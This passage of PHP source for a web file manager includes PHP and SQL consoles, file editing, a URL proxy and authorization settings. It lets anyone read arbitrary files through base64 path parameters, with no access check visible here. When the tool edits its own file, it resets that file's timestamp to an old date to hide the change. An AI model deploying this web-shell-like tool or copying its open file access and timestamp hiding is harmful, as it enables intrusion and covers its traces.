// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
